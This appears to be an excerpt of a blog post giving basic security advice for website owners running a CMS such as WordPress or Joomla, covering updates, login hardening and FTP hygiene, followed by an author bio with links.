If you run a CMS (such as Joomla or WordPress) on your website, there are a few security measures you should take, such as:

• keep your CMS updated;
  
  
• hide default login areas (such as /administrator or /wp-admin);
  
  
• change default user’s names (most CMSes have "admin" as the default login, so try to change this to something a bit more personalized and secure);
  
  
• ensure your hosting provider keeps their servers secure; and
  
  
• install and configure backup utilities.

So, as you can tell, there are multiple areas that need to be protected here. Keeping your website secure means that you need to keep your personal computer secure, as do any co-workers or firms who have access to your website. You’re ALL responsible for keeping your website protected. Remember, you must ensure that all computers that are accessing your website via FTP are secure as well. Here are some basic steps you can take:

• Keep up with OS updates and patches.
  
  
• Keep all software updated and patched.
  
  
• Regularly scan your computer with the aforementioned software –  and keep in mind that your anti-virus software is useless if you do not keep it updated.
  
  
• Do NOT save your passwords in your FTP programs.
  
  
• If you have multiple FTP users, assign different rights for different uses. Avoid giving all users access to the entire FTP root. 

Author bio: Josh Zehtabchi is a professional web developer and SEO by trade. Josh graduated with a computer science degree and has been a web developer for over 10 years and a professional SEO for over 5 years. With clients that range from: FEMA, Pepsi Bottling Company, Motorola, The Atlanta Symphony and VMX Technologies, Josh’s SEO skills are widely ranged in many niche industries.

You can find Josh professionally at: http://www.v2interactive.net and  http://www.joshz.net.

You can also find Josh on the following social sites:

https://www.facebook.com/jzehtabchi

http://www.linkedin.com/in/joshzehtabchi

https://plus.google.com/112687311676111255689/posts  

Author information

JoshZehtabchi

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